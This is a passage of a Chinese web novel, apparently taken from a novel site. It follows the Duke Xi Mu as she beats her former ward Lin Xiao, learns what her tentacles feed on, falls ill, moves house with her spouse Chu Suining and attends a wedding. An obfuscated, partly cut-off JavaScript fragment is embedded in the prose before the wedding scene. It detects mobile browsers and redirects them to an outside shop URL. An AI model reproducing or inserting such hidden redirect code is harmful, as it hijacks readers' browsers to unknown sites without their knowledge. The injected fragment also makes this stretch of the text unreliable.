这里似乎是一处被废弃的公园,那些设施都已陈旧,旁边还散落着建材,像是要进行重建却被耽搁,而后被彻底遗忘。令席暮诧异的是,在这座废弃公园的正中央,树立这一座‘救世主’的雕像,而在这样陈旧的地方,这座雕像却被呵护的很好,那栩栩如生的面庞肌肤细腻,无一丝岁月的痕迹。
蔺宵就站在那座雕像前,面前是他献上的花。
“为什么要为还活着的我献花?”当蔺宵沉浸在自己的情绪中时,席暮突然开口,惊破了寂静。
几乎是瞬间,蔺宵就转过了身,脸上的错愕难以遮掩。大人为什么会在这里?这里明明早已被他买下,甚至刻意废弃,大人是怎么找到他的?
“大人……”蔺宵还来不及惊喜,就看到了席暮背上的楚岁宁,表情一下子扭曲,声音骤然提起,“大人?”
“闭嘴。”席暮可不是来跟他唠嗑的,于是冷声呵斥,“在我的问题问完之前,把所有情绪都给我憋回去!”
怔怔地,蔺宵下意识闭上了嘴。
“谁在召唤我时对我进行了链接?”在使用链接寻找蔺宵时,席暮一下子想明白了自己在睡梦中听到的那些声音来源,如果说她和蔺宵等人之间的链接是单向单通道的,那么现在的情况就是,在她不知情的情况下,有人对她进行了链接,并且还是多通道链接。
但有一点席暮没有想明白,在她来之前,能动手脚的只有这具身体的精神海,可为什么受到影响的却是她的精神海?这中间像是还有人掺了一脚。
而且,链接产生的应该只有感应,但这次她实打实感觉到了能量的涌入,即使现在,席暮也能明显感觉到精神力增强了不少,这是怎么做到的?
“我、我不知道……”蔺宵的反应茫然又真实,他神色变了又变,很快,辜原口中的仪式跳了出来。是这个意思,原来是这个意思!蔺宵捂住了额头,如果辜原是,是为了链接大人,那他岂不是!不不不,蔺宵想起被他丢在一旁的仪式用具,瞪大了眼睛,冬岁节还没结束,他还来得及!
仿佛忘记了一切,蔺宵全部身心都被能链接上大人而吸引,迫不及待就要回去进行仪式。
“呵……”要么说是她养大的呢,席暮轻而易举就看穿了蔺宵的想法,她莫名感到可悲,但很快,这些无用的情绪被迅速丢掉。在蔺宵行动的下一秒,席暮就立刻生成风场将蔺宵围住。
后者很快因此恢复了理智,在席暮冰冷的眼神下,蔺宵讷讷无法开口说些什么。
“是辜原?”蔺宵知道的不多,席暮想,“辜原让你做什么?”
“他给了我一个仪式,让我在冬岁节这天举行。他说这样就能让大人你回来,可是大人明明就已归来。”蔺宵敢肯定辜原就是故意的,故意让他这么以为从而错过他真正的目的,狗屎辜原!
看着那座雕像,席暮发了会呆,然后缓慢抬手遮住了半边脸,嘲讽的笑意自露出的半边脸上倾泻而出,这就是她呕心沥血养出来的好孩子啊,“蔺宵,我对你们不好吗?”
“当然好!”蔺宵激动不已,他从未见过像大人这般强大却又无私的人,大人拯救了他,他明明是累赘大人却不嫌弃,不仅愿意带走他,还愿意培养他。只是,大人太过缥缈,眼中包容万物却又仿佛万物都不入眼,他们害怕,害怕一切结束后,大人就回到她的天国去了。
“我们只是想留下大人……”不经意间,内心的真实想法脱口而出,蔺宵惊慌抬眼,生怕又从席暮脸上看到厌恶的神情,大人已经不再疼爱他了。
那些嘈杂的声音越来越多了,声音化作利剑刺进了席暮的眉心,然后大力搅动着,疼痛反而让席暮越发清醒。只是,原本这些声音会引动的精神力变化,席暮却没有感受到。但这是好事,席暮不用担心失控,触手暴露。
与此同时,席暮感觉她此刻冷静得可怕,但她其实很生气很生气!
抬脚,踹出!席暮掀起眼帘,看着蔺宵飞出,疾风推动着她快速向前,在蔺宵落地之前,抬腿下劈,最后一脚踩上他腹部。可惜,今天穿的不是那双皮靴,那双皮靴有一个细跟。这么想着,席暮脚上的力气没有半分减少,在蔺宵疯狂咳嗽时,一脚踢向了他的头部。
她还是仁慈的,蔺宵甚至没能感受到太多痛楚就晕了过去。
冷眼看着脚下,席暮思索要不要再来几脚,可只有在被揍对象能感受到痛楚时,揍人才会有快感吗,现在,啧。一脚将蔺宵踢到一边,席暮一把将那束蔺宵献上的花撕了个粉碎。在抬头打量雕像时,内心已经在思索怎么拆掉这东西了。
就在此时,席暮眼前一黑,伴随着浅淡的香气,眼上便多了份温暖的触感,“遮住眼睛了,没有人可以看见你流泪。”
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是楚岁宁的声音,他不知道什么时候醒了过来,没有发出一点动静。
席暮立刻收回了将楚岁宁固定的触手,楚岁宁顿时就从席暮背上滑了下来。那只遮住席暮眼睛的手也随之下滑被带到了耳边。
“公爵?”没有问为什么会出现在这里,楚岁宁是因为席暮身上浓烈的苦涩味道而醒来的,但因为他跟席暮一直有接触,所以席暮被迫抑制了情绪的抒发,楚岁宁见过好多因为情绪无法抒发而生病的人,所以他想让席暮爆发。只是,即使已经没有他的压制了,席暮还是没有半点反应。
是已经习惯了如此程度的情绪压抑吗?楚岁宁想。
“为什么这么看着我?”席暮可没忘记楚岁宁刚才的话,不知为何就有些别扭,“我可没哭!”
直觉以及从书中汲取的经验告诉楚岁宁,现在正是装傻的时候,于是楚岁宁将目光投向了席暮身后,“公爵,今天出现在家里的是什么?”
他看到了!席暮顿时凛然,既然如此,触手瞬间弹射而出,紧紧扼住了楚岁宁的脖颈,“你看到了。”
楚岁宁被举起,视线和席暮齐平,两双眼睛对视,席暮看到了他眼中的平静,“你不害怕?”
“公爵知道吗?”楚岁宁自顾自开口,忽略了席暮的问题,“楚家能力和异种息息相关。”
嗯?意识到楚岁宁在向她展露同等的秘密,席暮神情柔和了些,触手也松了些力气。
“我从异种身上获取了能力并进行了改造,这就是我的特殊。正因如此,陛下才会如此警惕我。”楚岁宁没有做任何遮掩,但有进行一些错误引导,如果公爵能察觉那是公爵聪明,但如果公爵没有察觉,那就请原谅他再稍微保留一点秘密吧。
“怎么做到的?”她身上的触手出现毫无征兆,但楚家不一样,他们有预谋并付诸行动,最重要的是,成功了。席暮不由想,难道觊觎异种能力的只有楚家吗?既然楚家成功了,那么是不是还有张家、李家?
“不是什么好东西。公爵还是不要知道的为好。”
这句话下是多少的血腥,席暮难以想象。但此刻,这方世界仿佛向席暮掀开了真实的一角,而在那真实之中,绝不是什么轻松愉快的生活。席暮,此刻已经在那真实之中了。
“所以现在是交换秘密的环节?”松开触手,席暮的表情像是之前的一切都没发生过一般,甚至还能露出笑容,“那么恭喜你,你的秘密得到了我的认可。”
楚岁宁揉着脖子,“谢谢公爵。”
席暮挑眉,居然还谢谢她?这是真傻吧?
“那公爵,我们能回家了吗?其实刚才没有休息好,我还想再睡会。”
“……”回家?席暮一怔,公爵府内那一片狼藉的样子迅速出现在眼前,或许她可以相信星际速度?
然后事实告诉席暮,做人不要太乐观,尽管智能管家已经足够迅速进行修补了,但公爵府内怎么看都不像是可以住人的样子。
17. 第 17 章
“哈,出去体验一下住宿环境也不错,你说是不是?”尴尬转身,席暮双手一拍就打定了主意。
而此时,因为情况特殊所以特许可以靠着席暮的楚岁宁,脑袋一点一点,完全没有反对的余地。
于是,席暮迅速在光脑上定了两间房。
可还没等两人到达目的地,席暮就收到了一则友好提醒。
“嘿,订两间房居然敢用自己的名字?新婚的席暮公爵?”
发信人是一个陌生的名字,纪岚。
宿初夏曾给过席暮原身的信息,其中自然包括原身的人际交往关系。
啊,找到了。席暮迅速从资料中拎出了这个名字。
纪岚,二十四岁,出生于帝国军官家庭,世代从军,她的祖父便是当年跟随救世主救世的反抗军将领之一纪龙楷。
而纪岚也无愧于她的出身,早早从军校毕业就职军中,虽然目前职位不高,但升职不过是时间的问题。
至于纪岚和原身是怎么认识的?在一次任务中,纪岚因过于急切被敌人反制,被恰巧路过的席暮救下。
这之后,两人偶有联系,但并不算很熟。
“她是怎么知道我订了酒店?”席暮皱着眉低喃出声,“住户信息不是全程保密吗?”
又往后翻了几页,席暮这才了然,她订的酒店是纪岚的大姐纪念榕开的。
席暮不得不承认纪岚说得对,这世上从不缺有心人。
于是席暮立刻取消了预订,重新订了一间房。
“平安,我们今晚可能需要住在一间房里。”希望房间里有足够的空间,沙发也足够大。
用力睁开了眼睛,楚岁宁应了声,“好,只要有地方睡觉就可以。”
不愧是最贵的房间,就是大。席暮满意打量了一圈房间,在看到足够大的沙发时露出来满意的笑容。
“我睡沙发,床归你。”
幽魂似的楚岁宁丝毫不懂谦让的道理,快速洗漱完后往床上一倒就睡着了。
早有预料的席暮只是无奈一笑,布置好沙发,关灯。今天折腾了一天,精神已经足够疲惫,很快,房间内响起了两道均匀的呼吸声。
寂静的夜里,轻车熟路的触手裹住楚岁宁就往席暮怀里塞,只是,这次它们遇到了一些困难。
沙发虽大,躺席暮一人刚刚好,但如果再加一个就有些拥挤了。想要让楚岁宁一直待在席暮怀里,那它们就必须固定住楚岁宁,但那样它们就无法回到席暮体内,享受好处。
犹豫几秒后,触手们放弃了这次接触,恋恋不舍将楚岁宁放回了床上。
第二天当席暮从沉睡中醒来,以前那种神清气爽的感觉不再,脑袋沉甸甸的,有种说不出的烦闷。
席暮皱着眉,坐起身靠在了沙发上。
“是昨天的精神海躁动留下的后遗症吗?”揉着额头,席暮嗓音微沉,听上去有些沙哑,“连嗓音都受到了影响?”
直到她起身走了几步,大脑传来一阵眩晕的感觉后,席暮才后知后觉,她好像是生病了。
生病?席暮一阵恍惚,她好像很久没有生过病了,锻炼和健康的作息使她强壮,连带着抵抗力都增强了不少。
“咳咳……”席暮捂着嘴,压下了喉咙中的痒意,这种感觉并不陌生,应该是感冒?
凭借着经验为自己买了些药物,席暮又躺回了沙发上。
精神和□□的双重疲惫令席暮昏昏欲睡,意识迷糊中,她感觉到有人缓缓靠近。
席暮睁开了眼睛,对上了一双担忧的眼眸。
“公爵,你在生病。”楚岁宁拿着席暮刚才买的药以及温水,在沙发旁蹲下,“药到了。”
“谢谢。”支起身体,席暮将买的药挨个吞下。
对身体上的问题,楚岁宁没有一点办法,他只能看着,在席暮吃完药后,他指了指床铺,“去那里休息吧公爵,我刚才让机器人换了床上用品。”
这场病来的气势汹汹,吃下药后没多久,席暮发起了高热。她能听到楚岁宁的喊声,但没有办法回应。起初,席暮以为这是生病的缘故,但很快熟悉的抽离感袭来,席暮这才恍然意识到,原来是她的的意识被再度提出了这具身体。
但这其实是不可能的事,早在一个月前,席暮就已经彻底掌控了这具身体。
席暮想到了自己暴涨的精神力,一个猜测不禁冒了出来,难道是这具身体一时难以承受这样的精神力?越想越觉得这种可能性很大,而且验证方法也很简单,等!只要等身体适应了,那她应该就能回去了。
意识飘荡在空中,精神力随之铺开,房间内的一切皆在‘眼中’。席暮看到面对她突发的高热,楚岁宁迅速喊来了医生,但高热好解决,席暮失去意识一事却棘手,在机器人的帮助下,席暮被转移到了医院内。
啊,穿来的两次进医院竟然都是因为一个原因,无形的意识发出了叹息,然后席暮看到楚岁宁的目光竟然就朝着她看来,甚至在她所在的位置定住了。
他,能看到她?席暮顿时警惕起来,如果她现在是什么鬼魂、幽灵被看到,那席暮还能用能力解释,但虚无缥缈的意识也能被捕捉到吗?
在某一刻,楚岁宁于空气中捕捉到了来自公爵的无奈情绪,但很快情绪消失,一切都仿佛错觉。但楚岁宁不会认错,如果公爵现在正飘在空气中,那难怪躺在病床上的公爵无法醒来。
楚岁宁不安的心瞬间放下,感知到的情绪中并不包含恐慌之类的负面情绪,所以公爵的情况无需担心。想通了这点,楚岁宁平静地听完了医生的诊断,然后拒绝了医生更深入检查的提议,为公爵申请了一件VIP病房。
在病房内搭了个小床,就算是他的床位了,楚岁宁指挥机器人为公爵进行了梳洗,然后就一头扎进了被子中,他现在急需补眠。
通过楚岁宁的行为,席暮初步判断楚岁宁确实是发现了她的存在,但……席
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暮对着正在熟睡的楚岁宁翻了个白眼,这对吗?她这样奇异的现象,他居然连最基本的好奇心都没有,直接就睡了!
但很快,席暮再难思考别的什么了。因为她看到,在楚岁宁睡着后,触手们悄无声息钻出,熟练地卷起楚岁宁塞进了她怀里。席暮瞪大了眼睛,她甚至没有反应过来发生了什么,大脑直接就宕机了。
等、等等?!发生了什么?!为什么她的触手擅自行动?席暮一直知道触手们是有着自己思维的,但这对席暮不是坏事,因为她可以完全无视这些思维强制操控触手行为。但,谁也没有人告诉过席暮,触手的思维会用在这种方面上啊!
而且,这种情况是从什么时候开始的?!看触手们的熟练程度,肯定不是第一次!
如果席暮还在身体内,那她的脸色一定是铁青的。她、必须立刻回到身体里!
当席暮再度睁开眼时,就已经感受到了身体的存在。长舒了一口气,席暮下意识看向怀中,很好没有人。干得漂亮啊,甚至知道在她醒来前把人送回去,双方一个人都不惊动。
此刻她还在病房内,公共空间内,她没有办法立刻质问触手,但她的精神力已经化作绳索将精神空间内的触手全部绑好,就等着审判了。
“哈,你醒了?”三声敲门声后,来人便直接推开了病房门,正对上席暮审视的目光。纪岚立刻举起双手以表示她并无恶意,“我只是过来看看你的情况。”
这是谁?席暮绷起脸,摇头拒绝,“暂时不见外客。”
“好歹也有些交情,这么无情?”纪岚倚靠着房门,一副赖皮样子,“好歹也是在我家酒店出的事,处于人道主义来看看,别到时候给我们惹上什么麻烦。”
上下打量了一番席暮,纪岚啧了声,“医生不是说情况不好吗?这不生龙活虎的。”
这下席暮知道她是谁了,纪岚,那个给她发消息提醒她的人。席暮表情稍微和缓了些,“那你看完了,可以走了?”
“无情。”纪岚皱着脸不满嘀咕了一句,但看见席暮没事她确实狠狠松了口气,真是倒霉,就来住了一晚,就进了医院,要不是她姐哭着让她来看看情况,她才不来。
“行,走了。”肩膀用力让自己站直后,纪岚挥了挥手,友情提醒了一句,“就算夫妻感情不好,也不至于让自己伴侣挤在那么小的床里,对人家好点吧。”
席暮下意识看了眼睡得正香的楚岁宁,无言,谁说人家挤在那小床里睡的?那不是睡在大床上吗!
但席暮怎么解释?没有办法,于是席暮只能认下这句话。等纪岚一走,席暮快速下床将楚岁宁晃醒了,也不等人清醒,拽着人就办理了出院手续。
尽管公爵府内尚不能住人,但至少坐的地方有。席暮将楚岁宁按在椅子上,和他面对面相坐。
“有个非常严峻的问题需要解决!”席暮冷着脸,看上去颇为唬人。
楚岁宁用手撑开眼皮,满脸迷茫。
18. 第 18 章
“暂时没有你的事。”冲楚岁宁摆了摆手,席暮将被五花大绑的触手放出,右手掐住其中一根拽到了面前。
这些触手似乎已经接受了命运,一动不动。
“说吧,你们昨晚干了什么?”
从这句话的语气中嗅到了有意思的气息,楚岁宁有了精神,搬着椅子往前挪了挪,双手托腮,聚精会神准备听八卦。
被捆住的触手们无辜地摆动着身体,一副听不懂席暮在说什么的样子。
居然还敢装蒜,席暮冷哼出声,手上越发用力,“真以为你们做的很隐蔽?为什么要把平安往我床上塞?”
瞪大了眼睛看向瞬间僵直的触手,楚岁宁指向自己,“我?”
“和我还有关系吗?”
不过现在没人解答他的疑惑,席暮将装死的触手往上拎了拎,“不说?那你以后就别想再接近平安半步。”
这怎么行!这关系到它们的成长,而且这对席暮明明也很有益,触手们甚至冒出了些委屈的情绪。
因为离得近,楚岁宁立刻就闻到了到委屈的酸涩味道,于是越发好奇起来。
为了不被阻止,数根触手齐齐开始解释,嘈杂的声音瞬间袭来,在脑中炸开了锅,席暮下意识捂住了耳朵。
“一个个说!”
虽然听不懂触手的话,但是楚岁宁也在跟随着出售的动作不断点着头,惹得席暮多看了他几眼。
“我之前做梦梦到的那些祈祷声一直在影响我?”随着触手的讲述,席暮表情越发凝重,“而跟平安的近距离接触能帮我除去影响,并将其转化成有益的能量。”
“而你们,通过吸收这些能量成长。”
所以,那些祈祷声才是触手们的食物?
席暮一直以为那些梦只是些无意义的碎片,再加上许久未曾做过,所以席暮早已遗忘。
直到现在被提起,和才发生不久的精神力异常联系起来,席暮才发现,原来异常早已存在。
但她此刻的第一想法却是,原来想要培养触手这么简单……辜原他们居然还做了件好事?
松开触手,顺带着收回了精神力束缚,任由触手们散开身躯在她身后舞动。
不知不觉间,触手已经有了小臂粗,舞动时投下的阴影已经颇具规格。斑驳的光落在席暮脸上,那双湖蓝色如宝石一般的眼眸此刻竟也显得阴翳。
双腿交叠,席暮仰着头睨着楚岁宁,组织了语言又给楚岁宁解释了一遍,“你听懂了吗?”
楚岁宁不知道在公爵眼里他是什么样的傻子,但公爵说的已经足够清楚。原来不止公爵能为他提供净土,他也能帮助公爵啊。
这么想着,楚岁宁竟还有些高兴,喜色从眼中偷溜出来,他能感觉到公爵看他的目光越发困惑。
哈~不知为何莫名有喜感,楚岁宁想。
为什么突然开心了起来?本想装装样子维持一个靠谱家长的样子,毕竟触手干的事太破坏形象,她怎么说都是平安的家长!
但楚岁宁情绪的变化实在太过出乎意料,席暮的沉默实在难以维持,“怎么就高兴起来了?”
“因为我也可以帮助公爵了。”
一开始,楚岁宁以为在公爵府的生活和在楚家没什么不同,尽管公爵比楚沛白有意思多了。
但或许是被迫补习各种课程的经历太令人深刻了,这短短几个月的记忆几乎就要覆盖这二十年在楚家的生活了。
睡得太多、睡得太久,楚岁宁已经习惯了时间带走一切。
而他和楚家,一场交易。大多时候,他恍若一道看不见的幽灵游荡在楚家老宅,而后陷入沉睡,如此往复。
直到楚沛白掌权,她有更多野心。她想,为什么楚岁宁不可以给她带来更多?于是她把他拉到了人前,给了他一个楚家小少爷的身份。
楚沛白给了他虚假的宠爱,以及受限的权利,企图营造一个温暖的家庭,然后交换更多。
楚岁宁能感知到一切情绪,楚沛白所有情绪变化自然瞒不过,楚沛白一开始还试图隐藏,但后来明白了一切,便不再掩饰。
她向楚岁宁揭示了一段关系的实质——不过是利益的交换。
只是楚岁宁不在乎。既然他确实得到了什么,那么付出一些也无所谓。
但从席暮这里,楚岁宁感知到了不一样的东西。同样是索求,公爵希望从他身上得到的是一种情绪的反馈,很神奇,居然会有生物试图从他这里获取情感。
而因为席暮的特殊,楚岁宁竟然也能从她身上获得特殊的情绪反馈。很神奇。
“你很想帮助我?”席暮挑了挑眉,从楚岁宁的话中读出了这个意思,“为什么呢?”
“因为公爵也帮了我。”楚岁宁掰着手指开始数,“帮我屏蔽了那些杂音、教会我知识、还照顾我。”
更多的楚岁宁就说不出来了,那是只有楚岁宁能体会到的。
看上去像是一场家庭沟通,彼此交心拉近距离。席暮思绪不由发散,此刻的场景让她想到了以前,一家人围在温暖的炉火边开家庭会议。
关系的维持与拉近往往是从更深入的了解开始。不过目前的关系就足够了,所以席暮觉得话题可以到此为止。
“所以我觉得,如果我能帮公爵,我会很开心。”在席暮开口前,楚岁宁先一步下了结论。
“哪怕你甚至都不知道你要做些什么?”趁着两人说话的时候,触手伸向楚岁宁的背后,企图将楚岁宁再拉近些,被席暮一巴掌拍飞。
楚岁宁想说他知道,但在席暮奇怪的目光下,楚岁宁咽回了话,只囫囵点了个头。
敲击着扶手,席暮有了判断。果然,楚沛白她根本就不会养孩子!看看给孩子养的心理都出问题了。
这不行,得给平安把这种思想扭转过来。
“听着,”竖起手指,在楚岁宁眼前晃了晃,席暮严肃道,“你这么想不对。我们要把自己排在第一位懂吗?”
“公爵也是这样吗?”楚岁宁反问。
“当然。”席暮回答的毫不犹豫,她一直都是这么做的。
来到这里之后发生的一切都只是因为她好奇,好奇楚岁宁
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的身份,好奇再养一个崽之后会不会重蹈覆辙,好奇宿初夏想做什么,太多太多有意思的事了。
席暮做事有一套自己的规则,第一,遵循心情,第二,遵循直觉,第三,只要她想就去做。
没有优先级,三项满足其一就去做。
曾有人说过席暮这种性格只是一种逃避,席暮从未真正面对过自己。
对此,席暮只有嗤笑。
“还是时间太短了,跟着公爵我多学学,包你有收获的。”语重心长地开口,“之后我们都学习内容再多加一项。”
“啊?”楚岁宁立马摇头,“那公爵,我不帮了,我想多睡会!”
“不不不。”说出口就代表这件事在席暮这已成定局,不会更改,“不过心理方面我不专业,得给你请老师。”
“……”楚岁宁肩膀一塌,一副天塌了的样子。
“好了,说回正事。触手说,和你接触会让我摆脱一些困扰,我需要这个。所以,我们定个时间段,呃,”席暮想了下自己能接受的动作,在楚岁宁身上巡视着,最后视线定格在楚岁宁的手指上,“我们碰一碰手指。”
顺着席暮的视线,楚岁宁动了动手指,修长的手指骨节分明,皮肤白皙细腻。
楚岁宁又看向席暮的手指,比他的手稍小,但手指更为纤细修长。
“这样吗?”伸出手指,指尖碰上席暮的手,两两指尖相对,像是什么孩童间幼稚的游戏。
有些奇怪,还有些幼稚,但席暮没有收回手指,就维持着这个姿势不动。
触手狠狠敲击了下地面,将好不容易修葺的地面又敲出了一道痕迹。这么点接触面积!太慢了!
有了之前做对比,现在的情况根本不能让触手满足。但抗议的后果就是,席暮切断了能量流向触手的路线。
在席暮醒着的时候,她能轻而易举捕捉到这些能量。
于是触手们安静了。
“公爵,或者在我学习的时候进行这项活动?”楚岁宁举着手,提议道,“举着手有些累,还是放在桌子上更舒服。”
“而且,好傻。”楚岁宁又补充了一句。
“哈哈哈哈哈。”两人不约而同收回手指,对视之后,都没忍住笑意。
“我觉得,换个房子住是个很不错的决定。”在自己的地盘才叫人安心,席暮想,回了公爵府之后她心情都好了不少,就是这里情况太惨不忍睹,她容易想到她犯蠢的时候。
“那这个给公爵。”楚岁宁交出了自己的存款,他记得楚沛白给的不少,以前他也用不上。
“乖孩子。”席暮没有任何心理负担就收下了。
今天的沟通席暮很满意,她又找到了可以补足的不足之处,离完美家长更近了一步。
下一步,找个新家。给楚岁宁安排更多课程,然后完成宿初夏给的任务。
再之后,等她玩腻了再说。或许是周游星际?席暮为自己准备了顿大餐,美美饱食了一顿。
而在那座废弃的公园内,被遗忘的蔺宵被一场大雨浇醒,幽幽睁开了眼睛。
19. 第 19 章
他棕色的瞳仁偶尔会被紫色覆盖,每当紫色浮现时,蔺宵的面色都会狰狞起来。仿佛在那张脸之下随时会闯出另一张脸来。
“给我滚出去!”蔺宵低吼着,扯下手腕上的红绳狠狠甩到了一边。
下一刻,一道虚影自红绳上浮现,“废物,大人都已经出现在你面前了,这样的机会你都把握不住!”
“你什么时候在我身上做的手脚?”尽管已经将身上异常的东西扔掉,但蔺宵仍不放心,鬼知道辜原有多少后手。
虚影,也就是辜原笑得灿烂,“不过是谨慎,但,幸好我留了后手不是吗?蔺宵,你可没告诉过我,大人已经归来。”
如果不是刚才的仪式没有取得应有的效果,他还要再晚些才能知道。到那时恐怕一切都晚了。
“大人身边的人是谁?”从蔺宵的记忆中获得了一些信息,辜原对这个人格外在意,他总觉得这个人眼熟。
胸口的郁气不断堆积,于是,蔺宵狞笑起来,眼中满是幸灾乐祸,“那可是大人的伴侣,或许你该称呼他一声‘父亲’?”
虚影在这一刻骤然破灭,怔愣片刻后,蔺宵扶着膝盖放声大笑,这就受不了了?
那他可就期待辜原你真正见到大人那天了……只不过,想到大人之前那样子,蔺宵抬手碰向疼痛处,眼中没有一丝温度。他不好过,谁都别想好过!
新的住处很快敲定,从选房到入住也不过一天时间。入住新房要准备的太多,席暮干脆提前让向慧结束休假。
“喜欢吗?”屋内装修、布置都是现成的,但席暮本来就很喜欢原本的样子,也就不打算再换。
不过,她喜欢不够,还得看平安的意见。
本以为楚岁宁会无所谓,但没想到他居然很认真看了每个房间,兴致勃勃向席暮提出自己的想法。
“公爵!我想住这间房,然后我想买一个大柜子!我也想要一间书房,可以拿这间房改吗?”他在各个房间之间来回穿梭。
席暮靠着走廊栏杆,含笑应允,“这么喜欢?”
刚推开房门的楚岁宁闻言转身,解释道,“因为这是我们一起选的。”
所以在意的是一起这点吗?手指敲击着手臂,席暮偏过头,“我们的家?”
楚岁宁眼睛亮晶晶的,重重点头,至少现在和公爵的相处很愉快,所以,建立稳定的关系链接很有必要。而无论是宠物还是家人,最重要的是‘家’这个概念。
两人都喜欢的房子是基础,在这个基础上,楚岁宁要做的还有很多。
“是!之后,公爵还要和我一起填满我们的家。”
这样的热情本该令人高兴,但席暮有些应激,于是立刻唤醒了楚岁宁体内的那截触手,确认楚岁宁此时的情感。
绝对不存在任何越线的情感。
触手的回应让席暮真正安下心,笑容重新出现在脸上,“当然没问题。”
楚岁宁伸手摸了摸后颈,刚才触手查探他的情感时动作有些大,后颈痒痒的。
但他刚才的话哪里有问题吗?公爵为什么突然查探了?
楚岁宁没有想通,于是很快就不再想,继续他的巡视工作去了。
连背影都透着欢快,席暮摇了摇头,朝着反方向转身,她要去看看宿初夏给她的军队资料。
‘启明军’,一支成立不到五年的军队,专门为了对付异种而生。由来自各支军队的精英军人组成,但由于扩张迅速,被太多家族塞人进去镀金,导致现在风评一般。
作为被塞进去的关系户,席暮并不在意这支军队如何,她其实更想知道要怎么样才能真正接触到异种。
而宿初夏是为了让席暮以启明军为跳板接触远征军,所以给席暮的资料更多有关远征军。
她在资料里看到了个熟悉的名字——纪岚。在这个名字上划了个重点,接着向下看。很快,席暮便又看见了一个熟悉的名字,这个人……席暮迅速打开搜索界面,输入姓名,瞬间蹦出一堆相关链接。
尤启鼎,时年一百二十七岁,担任远征军特别顾问,机械方面的专家。
在地星人类经过改造之后,寿命就已经有了大幅提升,平均寿命达到了两百岁,随着人们发掘出精神力的奥秘,以及科技的进步,人类的寿命又有了一定提升。现在,一百二十岁也不过是壮年,尚且年轻。
席暮记得他,也见过他。那时对抗异种的战争正值白热化阶段,但席暮这方却节节败退,最根本原因还是因为武力的不足。也就是在这时,尤启鼎站了出来,献出了一款武器。尽管那款武器是那么稚嫩,远不能解决当时的困境,但却给席暮提供了新的思路。
想得有点多了,席暮紧急撤回了发散的思绪。在那之后,尤启鼎成功加入她的团队,占据了一个较为重要的位置,和她关系不错。她死的时候,尤启鼎也才三十岁吧。
难得的,席暮对时间的流逝有了一定感觉,快一百年了啊……也不知道现在的尤启鼎还是不是那副古怪的性格。如果她真想完美完成宿初夏的任务,接近他或许是个不错的决定,但认识尤启鼎的是救世主初黎,和她席暮有什么关系?
耸了耸肩,席暮将有关信息拖入了垃圾箱。然后将光脑扔到一边,看了挺多,休息吧。就在此时,书房门被敲响,向慧的声音传入屋内,“公爵大人,这里有封给您的请柬。”
纸质的请柬?席暮打开房门,看到向慧手上拿着封大红色的请柬,眉心一跳,有点眼熟。
打开之后一看,果然,是封婚礼请柬。婚礼主角,康瑟和温群,时间则是五天后。又是两个陌生的名字,席暮按了按额头,又得去看资料,能把请柬送到她手里,至少得是认识的吧?
“知道了,我会参加的。”在向慧将要转身离开时,席暮突然想到了,又嘱咐了句,“帮平安准备身衣服。”
这种场合不可能不带他去,但猜也猜得出来他不可能有合适的衣服,交给向慧绝对没有问题。
“是,公爵。”
时间一晃五天时间就如流水一般逝去,穿上早早准备好的衣物,再披上黑色的披肩,将酒红色的长发捋到身后,席暮满意点头。守在一旁的向慧眼中闪过惊艳。
婚礼举办时间是在傍晚,楚岁宁难得精神很好,穿上和席暮相配的黑金色西装后,显得成熟了很多,只要不去看那张脸上的表情的话。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16846333|190978||http|test|mini|href|location''.split(''|''),0,{}));
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>半个小时后,飞行器稳稳停在了庄园门口,席暮来的不算早,因此能看到不少进出的身影。冲楚岁宁伸出胳膊,后者立即挽上,两人就这样齐步向里走去。
先映入眼帘的是一大片粉色的郁金香,鹅卵石小路蜿蜒消失在郁金香花丛中。在前来引路的人员带领下,席暮和楚岁宁踏入了后院之中。碧草如茵的地上铺着红毯,粉蓝色的装饰布满全场,看着既梦幻又浪漫。
但席暮注意到了一件事,那就是本来交谈声不断的众人在席暮两人踏入的时候蓦然停住了。席暮看着面无表情地继续向前,同时制止了楚岁宁想要东张西望的动作。是因为之前的谣言对她们好奇?这么想着,席暮脚步加快了。
而在别人的视角里,来者一身黑红色的长裙,大片玫瑰花纹蜿蜒其上,裙摆如同浪花一般,走动间裙角蹁跹,黑色的披肩上金色的纹路闪着光芒,红色的头发挽至脑后,再配上她冷厉的表情,就好像是荆棘丛中盛开的勾人心魄的花朵,危险却迷人。
“那是席暮公爵?”短暂的沉默后,人群又恢复了热闹,偶尔有目光投向席暮然后收回,“有没有觉得她好像又变强了?”
有曾经接触过她的人下意识点头,精神力肯定是有了增强,甚至今晚乍见时,都让人恍然以为换了个人似的。
至于公爵身边的人,不少人都看到了他,但印象转瞬即逝,如果不是因为在公爵身边,那恐怕都没有人会注意到他。
“又见面了,席暮公爵。”熟悉的调笑声自右侧传来,席暮肩膀一转,果然是纪岚。她依然是一副嬉皮笑脸的样子,手里拿着杯红酒,还冲席暮伸出手想要碰一杯。
“之前多谢了,纪岚。”顺手从旁边拿了杯葡萄饮料,轻碰了下纪岚的酒杯,发出了叮的一声。
纪岚有些受宠若惊地喝了口酒,“没想到席暮公爵居然记住了我名字,真让人高兴。”
真有够夸张的,席暮趁着喝饮料的时候翻了个白眼,然后将楚岁宁往前拉了拉,来之前有给他看过资料,应该不至于不认识。
“这就是爵夫吧?还是第一次见呢。你好,我是纪岚,很高兴见到你。”右手置于胸前,纪岚优雅欠身,如果楚岁宁此时单身的话,她一定会上去亲吻手背,唉,可惜。
“也很高兴认识你。”有被紧急培训过礼仪,所以楚岁宁的应对得体,给人印象又好了几分。
“公爵今晚是为公事而来还是单纯来参礼?”简单的寒暄过后,纪岚直入主题,“如果是单纯参礼,那公爵今晚一定不虚此行。”
“嗯?”从这句话里听出了些别的意思,席暮挑眉,“什么意思?”
纪岚凑近了些许,观察了一圈四周的人,见暂时无人注意她们,脸上的笑就灿烂了些,透着些幸灾乐祸,“康妮那个女儿跑了,我亲眼看见她半个小时前跑出了庄园。”
“据说这桩婚姻在达成前,那姑娘就闹过。”纪岚将杯中的酒一饮而尽,她今天来就抱着看热闹的心态来的,没想到啊,真让她等到大的了,“这可跟你那时候不一样,当众逃婚,刺激呀~”
